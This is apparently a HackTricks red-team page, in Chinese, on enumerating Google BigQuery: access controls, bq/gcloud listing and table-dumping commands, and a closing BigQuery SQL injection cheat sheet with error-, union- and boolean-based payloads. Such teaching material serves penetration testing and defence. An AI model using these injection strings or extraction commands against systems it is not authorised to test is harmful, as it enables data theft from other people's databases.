GCP - Bigquery Enum

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

Google Cloud BigQuery 是一个 完全托管的无服务器企业数据仓库,提供对 PB 级数据的分析 能力,从而高效处理大规模数据集。作为一种平台即服务 (PaaS),它为用户提供基础设施和工具,以便在无需手动监督的情况下促进数据管理。

它支持使用 ANSI SQL 进行查询。主要对象是包含 数据集,这些表中包含 SQL 数据

加密

默认情况下使用 Google 管理的加密密钥,尽管可以配置 客户管理的加密密钥 (CMEK)。可以在数据集和数据集内的每个表中指示加密密钥。

过期

可以在 数据集 中指示 过期时间,因此在此数据集中创建的任何新表将在创建后指定的天数内 自动删除

外部来源

Bigquery 与其他 Google 服务深度集成。可以从存储桶、pub/sub、Google Drive、RDS 数据库等加载数据…

数据集 ACLs

当创建数据集时,会附加 ACLs 以授予对其的访问权限。默认情况下,给予 创建 数据集的 用户 所有者 权限,然后将 所有者 权限授予 projectOwners 组(项目的所有者),将 写入者 权限授予 projectWriters 组,以及将 读取者 权限授予 projectReaders 组:

bq show --format=prettyjson <proj>:<dataset>

...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...

表行访问控制

可以通过行访问策略控制主体在表中能够访问的行。这些策略在表内使用DDL定义。
访问策略定义了一个过滤器,只有与该过滤器匹配的行才会被指定的主体访问

# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');

# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');

# Check the Post Exploitation tricks to see how to call this from the cli
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

列访问控制

要在列级别限制数据访问:

  1. 定义分类法和策略标签。为您的数据创建和管理分类法和策略标签。 https://console.cloud.google.com/bigquery/policy-tags
  2. 可选:将 数据目录细粒度读取者角色授予一个或多个主体,针对您创建的一个或多个策略标签。
  3. 将策略标签分配给您的 BigQuery 列。在 BigQuery 中,使用模式注释将策略标签分配给您希望限制访问的每一列。
  4. 在分类法上强制访问控制。强制访问控制会导致在分类法中为所有策略标签定义的访问限制生效。
  5. 管理策略标签的访问。使用 身份和访问管理 (IAM) 策略限制对每个策略标签的访问。该策略对属于该策略标签的每一列有效。

当用户尝试在查询时访问列数据时,BigQuery 检查列策略标签及其策略,以查看用户是否被授权访问数据

Tip

总之,要限制某些用户对某些列的访问,您可以 在模式中为列添加标签并限制用户对该标签的访问,通过在标签的分类法上强制访问控制。

要在分类法上强制访问控制,需要启用该服务:

gcloud services enable bigquerydatapolicy.googleapis.com

可以通过以下方式查看列的标签:

bq show --schema <proj>:<dataset>.<table>

[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]

枚举

# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)

# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table>  # Get schema of a table

# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files

# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json

# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>

# Get jobs executed
bq ls --jobs=true --all=true
bq show --location=<location> show --format=prettyjson --job=true <job-id>

# Misc
bq show --encryption_service_account # Get encryption service account

BigQuery SQL 注入

有关更多信息,您可以查看博客文章:https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac。这里仅提供一些细节。

注释

  • select 1#from here it is not working
  • select 1/*between those it is not working*/ 但仅初始的一个不起作用
  • select 1--from here it is not working

获取 环境信息,例如:

  • 当前用户:select session_user()
  • 项目 ID:select @@project_id

连接行:

  • 所有表名:string_agg(table_name, ', ')

获取 数据集 名称:

  • 项目数据集 名称:
SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
  • 所有数据集 名称:
# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS

SELECT table_name, column_name FROM <project-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
  • 同一项目中的其他数据集:
# SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA

SELECT catalog_name, schema_name, NULL FROM <project-name>.INFORMATION_SCHEMA.SCHEMATA

SQL 注入类型:

  • 基于错误 - 类型转换: select CAST(@@project_id AS INT64)
  • 基于错误 - 除以零: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '
  • 基于联合(在 bigquery 中需要使用 ALL): UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
  • 基于布尔: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
  • 潜在基于时间 - 使用公共数据集示例: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000

文档:

权限提升与后期利用

GCP - BigQuery Privesc

持久性

GCP - BigQuery Persistence

参考

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks